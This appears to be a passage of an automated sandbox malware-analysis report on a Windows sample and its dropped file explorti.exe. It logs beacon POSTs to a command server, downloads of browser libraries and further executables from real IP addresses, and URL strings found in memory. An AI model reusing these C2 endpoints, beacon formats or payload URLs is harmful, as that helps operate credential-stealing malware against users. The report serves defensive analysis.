Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 85.28.47.4 85.28.47.4

Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU
Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 10_2_00BABD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

10_2_00BABD30

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHIIHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 39 39 38 39 45 42 33 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="hwid"9799989EB3793994880753------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="build"default------BGIIDAEBGCAAECAKFHII--

Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exeData
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe-Disposition:
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpsJ0
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php6
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpE
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpI
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpO
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpY
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpe
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpg
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpq
Source: explorti.exe, 0000000A.00000002.2897406345.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpx
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll9
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001A2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 1jPL5zru3u.exe	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: 1jPL5zru3u.exe	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: 1jPL5zru3u.exe	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889134366.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
